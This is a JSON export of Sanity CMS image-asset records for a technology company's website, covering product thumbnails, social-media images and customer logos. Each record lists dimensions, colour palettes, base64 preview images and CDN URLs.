{"_createdAt":"2023-10-18T12:52:00Z","_id":"image-f08a3d47be244e37c9eae371f4fad50ce8757b78-1200x628-jpg","_rev":"97ScSe1K9UIWVy4zLcQQGt","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T12:52:00Z","assetId":"f08a3d47be244e37c9eae371f4fad50ce8757b78","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIQ,8zt.T1=BNOE-t6Z#XTpJD4_MEA#Pb_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAwj/xAAjEAABBAEDBAMAAAAAAAAAAAABAAIDBAUREiIGEyMyUVNh/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgMEBf/EAB0RAAEEAgMAAAAAAAAAAAAAAAEAAgMRBBMhgfD/2gAMAwEAAhEDEQA/AOhjDkX2pN1lrYdeO0AkLN+Or5iSSO6JCIzt4vIB/UxYPNIpXISyR3bojke3kPUkIMrI1MHF2nY8Oxxo1SZu6FwT3Fz4JC757pQoq1dtCw8CzOBr9hQtdkUpaDsPu1ISAapf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343b5a","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1347","foreground":"#fff","population":2.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1347","foreground":"#fff","population":2.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9a2ac","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc70","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6aad","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9c24","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"kafka-plan-finder-meta-preview.jpg","path":"images/sczeoy4w/production/f08a3d47be244e37c9eae371f4fad50ce8757b78-1200x628.jpg","sha1hash":"f08a3d47be244e37c9eae371f4fad50ce8757b78","size":60818,"uploadId":"bzMrZ0m8MCLe4DDIFkqq6AM4eqHxgENs","url":"https://cdn.sanity.io/images/sczeoy4w/production/f08a3d47be244e37c9eae371f4fad50ce8757b78-1200x628.jpg"} {"_createdAt":"2022-09-19T17:34:44Z","_id":"image-f09d129e1333c9b0e124b50fefd23e2f2b4d9b79-690x413-png","_rev":"Mv9ba7QfcthzshVwIcVtf9","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:44Z","assetId":"f09d129e1333c9b0e124b50fefd23e2f2b4d9b79","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABb0lEQVQoka2S32pTQRCHvzn5Q6KSNCctCW2jCKWgpdoSrEWT9qLYuxKcQ9tLES/O2L5CH6C+geCN3Q36mrLHTRqroQj5wY/dc3bmY2dnYNHK1WPqyTOPZZ5cXeEgkQQRKXxXk/8Sz6b7kGwB8g/gbeD9F5NJ0B1gOVdXCuDbuEKThBJQBpLZW8vv8yIulCymvmbqU1P/OFfXzfWmWinXKokkDaAlImlYgS6wBnSAJvAgeim6FIBVU98z9X1Tf5ir2zN1TwY7H1Yf1lubwI6IvAFeA/3o8P0K2AZeAHvAc6AeSq6Y+lVT/9LUDXJ1Q8t8f3R49azd7G0B+yJyBAwjbDcCg/eBt8BBBNYmb1gxdY9M3XIo2bJx5+zdddpJN0IZXRHpxXLbM16J7sw8QTJtSjE6elP44vQHH0++0m4GTmiyJGGd21n+mMO/gZenP/k0+kbaWJ+fOE/2/vt0/orxUcfnbMz58RdWWk//H7ho/QKnemP+JuhFLQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#312552","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0438","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#312552","foreground":"#fff","population":0.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#413167","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b2a5d3","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6656a6","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#44346c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"upcloud-690x413.png","path":"images/sczeoy4w/production/f09d129e1333c9b0e124b50fefd23e2f2b4d9b79-690x413.png","sha1hash":"f09d129e1333c9b0e124b50fefd23e2f2b4d9b79","size":7659,"uploadId":"uM5ZyCvVbicLR7PsOYytf6o0C3u3xbuo","url":"https://cdn.sanity.io/images/sczeoy4w/production/f09d129e1333c9b0e124b50fefd23e2f2b4d9b79-690x413.png"} {"_createdAt":"2023-10-09T10:12:21Z","_id":"image-f0b92f58ce8d7b0241e279810d3f186362a8867b-1920x1080-png","_rev":"0nL3L47AjT5dLD0PEM2qev","_type":"sanity.imageAsset","_updatedAt":"2023-10-09T10:12:21Z","assetId":"f0b92f58ce8d7b0241e279810d3f186362a8867b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37K+D-]00ZQMdx|x[RgNOWU02-E?GEupH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACt0lEQVQokS2SeVMaCRBH+QTrkQEGGGAG5nCA4Qyaw2yJQjyWiGZx45mId1BBrlUQBY0b3f3Sb8sxf3VVV/WrX3c/hyD9hWLuEkkdY2XPsbJ1opkG1mSHxJsu1uQ1WqKLT7vEo3bx6TdIxh0+/RYx3MEl13EGviP4j3HJ5zjcwXWs1ydMz7bJLfSYW7oltzAgt3BPvvhIbvGJ1Ps7tESfUOyWgDlAmngGDvCol7iVBs7gKULgxK4Od3CDePY7H+bazC5eUygOyRfvKSz/w3zpX/LF/5guPDE180h6+hEt+eMFaAzxql1EpYlLrtkwl3yGQ/CtoUW3sFLbGNYuRrJKNt9mfrPPzEof63nt7A0zhQfm//hJ6u0Dgcg9ijnEil4TMZv4wuf2uu5QC8e4ZwUjtkwis4SkFHEpW0x9OmX7ssXyfoNwuoYRabBZvKJ1MKS08kjYuiNmDVif/0F5sYcRP8Mpn74Ax8QSSqKENb2KEi0jhndI5A759PWIfLmKlqljmjV2P14wOL5l/ctP9OQNiWSfytoTezv3xCefE568PGXM+yf+6Cb65C4hq4I3XCFkHZF8WyX57oKJdBs9esGHNw1KSz1+n+1hZq6Ivb5hrjBk7uMVkXQNr/rrhq+8ZYLaNmp0D3liH294H8WsYqaamOkORrJNOFZHs+roiTrh2ClK5Bw92SX1rk9yqo0eb+A3GoihJg5BXEULloma39BiRwSMQzTrjMTU3788vLLhslnFLe8jSN9w+iv4tBqq1Ua1GiiRJpLesTVyvHKvIEur6No2IfMASTuwE0YyLWLZSyKZDnq8hqQeMu7bYUTcYNSzheA/xK2cIYZqeNQWXu1FesdvrlVGXZ8ZE9cY82zYQ4J/D7d8jKhU7WML/ordH/VsMiJ+YURcZ9xXwRl8VqWNR+3ZXkoTD/wPK/eEVZKsenkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382d62","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04257c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b237f","foreground":"#fff","population":8.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0bac6","foreground":"#000","population":7.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9198e7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f6b8c","foreground":"#fff","population":2.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b237f","foreground":"#fff","population":8.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of WIP Devrel Video thumbnail template (1290x1080 169) (1).png","path":"images/sczeoy4w/production/f0b92f58ce8d7b0241e279810d3f186362a8867b-1920x1080.png","sha1hash":"f0b92f58ce8d7b0241e279810d3f186362a8867b","size":677907,"uploadId":"0FJVKGC3qlfhehX2Wws4Zj15YkKKS3L1","url":"https://cdn.sanity.io/images/sczeoy4w/production/f0b92f58ce8d7b0241e279810d3f186362a8867b-1920x1080.png"} {"_createdAt":"2022-06-16T22:54:05Z","_id":"image-f0c5c2e91b494684ff3c6d92789d81b5e7a56563-134x132-png","_rev":"oamrAPLmQLQjd9jh7ZoGgc","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:05Z","assetId":"f0c5c2e91b494684ff3c6d92789d81b5e7a56563","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e7QM|r?^R5vMMJmQfPtlaej]L~L~adt,tl$*aKVskCozbbtlo}VYV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0151515151515151,"height":132,"width":134},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsSAAALEgHS3X78AAACYElEQVQ4jcWT60/TUBjG18I2nHiLQ6BbW1A6du0uZJcW27KNyxwyJDExBiNBlATxMjVqTPjkn9pzet4zdvFfMKfdJCQa4JPJkzfvOenvnOdp3/rsMdHmIrZPuJo4weYjvv8Oc+d1BZiP2Lwwqm7DXR4ei9pB0Q5K6JqMrsv2hMT4S8F+Ed9LQbYKS2u0/KhjtEBdwbdiF/CcBwclyK8O3n4ftE8G7ZNf3372do/IfAmNX2Sei/hQUIJsvX/Q7r1833160H1+eNp45shLLAh/MSxDwjxt7lJzG0oN+nCLVhqQqxFFQzeVf755zrWNQnM0v9p7cdx7/al/0O4ffum/+Tw4+srMx3TbH/27ec7LHJJJTO/u7A/e/WDkq4/9/Q+9vePuzh5RKnYganOzIwlnBw3hgITvxCFpdsxtyNdJYpkkDZJYduaKOBxHN+ZRiH085I+6cofiHHw3QWI6ZFaIUnHEAlEqJGMRRSeLOkkbJG2SmOZIBUfM43ASBcShBZY5IDmzKqgWLa5Dvg5pi5YbHbNFtU1qtKjZotYTZqq4AdmqE82hoAdHvCGR8O1FRyqQhbIrDTIWOyVXg2yNpAyStiBbg5RFHpTxVAJNztkTMhvK4YSFkyxnyiSKBgmDLq3RSpPqm7S4AeoKFFbZstgAtUriOlHKWFDRhOza9ktYyEJpA4rrkDJBrdIyIztGi2pNyNdZCmOrs/yYak1aakCuiqM5djkv+OxxCU0uONMZZyaNw0k8lWL9dAbPZJxptsOWs6ozo2KvhpModP+PbWn4Y41F3Oo2vNe4OutHD/DepvgbrkLGUPHrAeIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#916751","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc041a","foreground":"#fff","population":7.73,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e4041c","foreground":"#fff","population":54.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4a8a2","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f77a96","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c8664","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4041c","foreground":"#fff","population":54.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-em-lyon-incubator.png","path":"images/sczeoy4w/production/f0c5c2e91b494684ff3c6d92789d81b5e7a56563-134x132.png","sha1hash":"f0c5c2e91b494684ff3c6d92789d81b5e7a56563","size":1894,"uploadId":"myIU7wAaRXEhxAnGnDnyDevAjt0aYBpI","url":"https://cdn.sanity.io/images/sczeoy4w/production/f0c5c2e91b494684ff3c6d92789d81b5e7a56563-134x132.png"} {"_createdAt":"2024-08-05T08:47:58Z","_id":"image-f0f256cb6a439ceb45522d5557e066d2569720a7-886x689-png","_rev":"m47zVAKzspt7UjVx7z5k6B","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T08:47:58Z","assetId":"f0f256cb6a439ceb45522d5557e066d2569720a7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4S$owD%IU?cogkaRjf5R*j^E2WBt6RkRk~pj[odRjRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2859216255442671,"height":689,"width":886},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABLElEQVQokY2T227jMBBD9f9fG0kz5NyU3cpKs4ugTUsQfjEOSHPgRlrv43YbY0xVmrmZAwSMTMUCiwxgv6paa92371uN9DExJubEFKqaqolAhHP6beSYIeJToDD3jKhjj9VUYwoPPOZmjOGe7mleZstsudd2VMQ6dt+NmsiVPORYBKSbbT5zVd1fnJc9lqIaEHOid+1depc5oGqAc+f/i3qx7+Rs7iGivc8+5pWspLtHRF3J3zqzWmaSVIWqAiBpZn5KrzPq11prbdjMDhMR+am6zvJeLSIBiCjA/+H3sfeTXFVmdhV+JJ/nr+DMIgnslU7bo2e3H74Z2GudnZ7N49KbCg+Y3LUPfPij5+ZfqqpaRFyDCfkYrKp+M9szmS9HPsdz97XWn2/08Vf9BVccb7GAPryWAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#646464","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19087c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccc4fb","foreground":"#000","population":0.46,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9a9bcf","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccc4fb","foreground":"#000","population":0.46,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7474ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3010ee","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bigquery-kafka-select-service-region.png","path":"images/sczeoy4w/production/f0f256cb6a439ceb45522d5557e066d2569720a7-886x689.png","sha1hash":"f0f256cb6a439ceb45522d5557e066d2569720a7","size":19017,"uploadId":"BDx45BmY1mYJDj8OWEoobsSa1JTcBY2D","url":"https://cdn.sanity.io/images/sczeoy4w/production/f0f256cb6a439ceb45522d5557e066d2569720a7-886x689.png"} {"_createdAt":"2023-01-24T09:00:29Z","_id":"image-f10dd5bee014fb2c23fd4d05613b0e130d13ca4c-1500x811-png","_rev":"7aZRizEs9TRA92eUWCbs7Y","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T09:00:29Z","assetId":"f10dd5bee014fb2c23fd4d05613b0e130d13ca4c","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8495684340320593,"height":811,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAwUlEQVQokY2SAQ6EIAwE/Y+KWkHaLf9/16UgHnqRXGMMQYbdbh2QS1UBiEh520LPzetAUgEHomWapjHXUD6UOuHMK5Aa2I4B4MPv6zzf4ZSS/hy1+6opAAmQGGjrKlf/Jt7YRoIcnpw7yR5sq7Zn88w7rVX13bbp4lkcI9FW++0oq2Wd5a77hDn6nVxDv8B1t4UhHP7p2bK1wT7yl+DpmtM7bHM277eSmANr4Fat/Fti7TEL19TzI3wEvyzuG9c4fgDs641zxMeeQAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#605034","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a2d22","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a8a69e","foreground":"#000","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8a69e","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92e6cc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2ed09d","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"consumer-reading-data.png","path":"images/sczeoy4w/production/f10dd5bee014fb2c23fd4d05613b0e130d13ca4c-1500x811.png","sha1hash":"f10dd5bee014fb2c23fd4d05613b0e130d13ca4c","size":351551,"uploadId":"YCGCtvD8J50k4cbYrQH4rRCgoT3vxHNM","url":"https://cdn.sanity.io/images/sczeoy4w/production/f10dd5bee014fb2c23fd4d05613b0e130d13ca4c-1500x811.png"} {"_createdAt":"2023-01-17T16:37:31Z","_id":"image-f113d2d552b4c519a3252a18f006adee0529455b-2500x1308-jpg","_rev":"VgCVQRVoWMx60S7mY4JJGs","_type":"sanity.imageAsset","_updatedAt":"2023-01-17T16:37:31Z","assetId":"f113d2d552b4c519a3252a18f006adee0529455b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB9s_U6-M{}S15CT}qRP5=]#-BOCS2$PJQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCBAUH/8QAIhAAAQQCAQQDAAAAAAAAAAAAAQACAwQFETEHEiEiQXGx/8QAFQEBAQAAAAAAAAAAAAAAAAAABAX/xAAaEQEAAwEBAQAAAAAAAAAAAAABAgMEABEx/9oADAMBAAIRAxEAPwDj1fKVIoI2Px8b3AaLj8qxSc7L3I62LoRCc7PtxpYcx9GfSZenPjNSEciJyu77nPmndD6C9PwUGnTCiT4L5y7bjkisyxyNDXtcQ4DgFCneJNyYk7Pef1CTXJYi8acQkh3/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33506f","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":62.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":62.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8c0d9","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95727","foreground":"#fff","population":0.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c4c74","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87f0d","foreground":"#000","population":3.45,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Message_from_Oskari_social_media.jpg","path":"images/sczeoy4w/production/f113d2d552b4c519a3252a18f006adee0529455b-2500x1308.jpg","sha1hash":"f113d2d552b4c519a3252a18f006adee0529455b","size":229143,"uploadId":"ko3UBgYcR8CkCngIMkVblHBL93LHZwUT","url":"https://cdn.sanity.io/images/sczeoy4w/production/f113d2d552b4c519a3252a18f006adee0529455b-2500x1308.jpg"} {"_createdAt":"2022-06-16T22:53:47Z","_id":"image-f14445d4989fe634bf721e60ddcef02777aa01d5-180x92-svg","_rev":"qkpX9b3U0TpOGFQp8fNtyQ","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:47Z","assetId":"f14445d4989fe634bf721e60ddcef02777aa01d5","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGBL-WGaEy{|6*0{vhofK4#TM{R%$QJ,jY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9565217391304348,"height":92,"width":180},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACRElEQVQokYWRTU8TURSGDwWZoU4Jc/nobWhtKDNjQeXDQlKLCo0SixIkRQg0wsyZ0zlTWlkQ48a4YOPKuHJjYuL/MPoP1JAILS78L5pLhsSVLt6c956PJ+feC0gM/5KH9fPoKx+E4LgFgLdTkNkZjwHbeWC7Amxn9gGgt5SF88b/Qd0gOO/bC/chVemC8koW4MNsF4TONLC9DQ3HilujsAcAF0MxJO6K1IPE3R4Gf0NVPe4Txx8cPov9hnjPp6GhkcL6WEXzrMPYWm6xX0jTGE7FVLOOxFkkHkHiPiROIbFEYiOSyiV94nmvHl59U15O/OoZyH+/LKpBKd3q3x4/ulS80kgI+cgYlJYCppH4IRIX1SAST0d+DolLKvrESz5xDeth4XPayv3sNWvHcRHuLGZQc60XvaUsJoRsGkI2FXARifeQeB2JJ5D4FhJvIvEuEm8h8YZPvOnVw2rzqeccG8PFM808+GaIcro2XobQ2e+u5hYSQq4aQr5XQA+JXVQbEC9FUp6Q+Ina3idedrlRerm+mepo5lJHE62vhrgGLceB0F6NBfZYQsiCIeRHBXyMxAtIfBuJ70ZeQStIvKLyPvGMGzQmnm/VxKku5tu6ODjRRXn3TmYEQicJLafPEHLmAlhAYjvSdSSeROI8Ek9FNRUnfeK8GzSSX0atsbYuah3NbJ7q4v4PXeTPdFOkhLx5cWX1ATNIPBtJARVY5dSbqrP6mDmvHtqv1jbESd/gjY5mHrZ1811bN4/ONPPewkByzhDy9R8nsONcU/TP3QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04742c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef0515","foreground":"#fff","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95030d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7d85","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c74","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef0515","foreground":"#fff","population":0.24,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"alef_education_logo.svg","path":"images/sczeoy4w/production/f14445d4989fe634bf721e60ddcef02777aa01d5-180x92.svg","sha1hash":"f14445d4989fe634bf721e60ddcef02777aa01d5","size":6075,"uploadId":"Ewj3LNcwF3fvw8EUgWDSH3kChowwv9Vr","url":"https://cdn.sanity.io/images/sczeoy4w/production/f14445d4989fe634bf721e60ddcef02777aa01d5-180x92.svg"} {"_createdAt":"2024-08-05T09:52:16Z","_id":"image-f15ac4aa00db7f6fd2c6b1bd8cceeefe75510c46-1200x628-png","_rev":"m47zVAKzspt7UjVx7z8WuX","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T09:52:16Z","assetId":"f15ac4aa00db7f6fd2c6b1bd8cceeefe75510c46","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M697rJ-c8^s,IT?wtQM_R*fm00of%MRk%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACRUlEQVQokR3NW0/aYACA4f6FRYFS6IHSQkE8IEoCBUWB0kLhK5UKRY3TRedpMkVEJ0hBByou1nGoxj+7uLv35skLWfCSL3AQCFcC4bPFSG0hUveHrhbYZnCpE1y6D8Uf2cSfmdAD7tWs1DVMXSL0L4RuINSVlapBiGMjHDsXwC0PNEHq8OA+BXri2nNW0XnpJSW9pqQhm9B9wa5rrkXP3rr8d9Tsb9zTsrmakJUosyvnoqxl8u2MfJ+Wujmlr24PyztvcnmUK46yisGBcTI3SAGdA3+TOYPlRkzgCfc+QGasFIxUOLHBZW+TopbIdHjQk1Vd/WoUNsd51ZBK76JiiMowrw6UrXep9LEsDD/x1NMnXoxUBNBM59uJTCsutHnQTcv9wsawsGnIG2+S+i4q47Ssg+JrcftNKhnB2CPp62CeLmTG1PnQDx40BdCKcY1VQeNBL53vg3UdFAdiYSDIQ14apNf03Loul8fZdWNh6QHzNO1MGzKhRZ9/Pxq/YFcuFyO18OpNNKlFubsY31sResupbpR7XE71E9nnhNiPiy9xceRnn1CmgdA30CQsU47i9PSuZ+6Q9B5g7kOcOcGZnw5v1eE9IzwVwntO+urUTJ2auaZnNfd8j/S1EfrK6ryAJuG8E5U97i1qas/m/DZh35lA90zYoRk/MeHHk+j3zyZOzY4KTFYRV8PubtvoG6uzBpNV6Assm5A1C1qy4FsmdNuE7pqxfQtxBDtOYfLUQhxZiGOYPLM6qwhdtzMtlNFs/7dWZ/UfB8+3EchnOgkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252751","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#132471","foreground":"#fff","population":8.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#132471","foreground":"#fff","population":8.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#949ac6","foreground":"#000","population":1.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acb4dc","foreground":"#000","population":1.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687097","foreground":"#fff","population":2.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b74549","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bigquery-kafka-Reverse-your-ETL-social-media.png","path":"images/sczeoy4w/production/f15ac4aa00db7f6fd2c6b1bd8cceeefe75510c46-1200x628.png","sha1hash":"f15ac4aa00db7f6fd2c6b1bd8cceeefe75510c46","size":171626,"uploadId":"1liS16O30VsCGr1J8d8q8IFMraWvEwFL","url":"https://cdn.sanity.io/images/sczeoy4w/production/f15ac4aa00db7f6fd2c6b1bd8cceeefe75510c46-1200x628.png"} 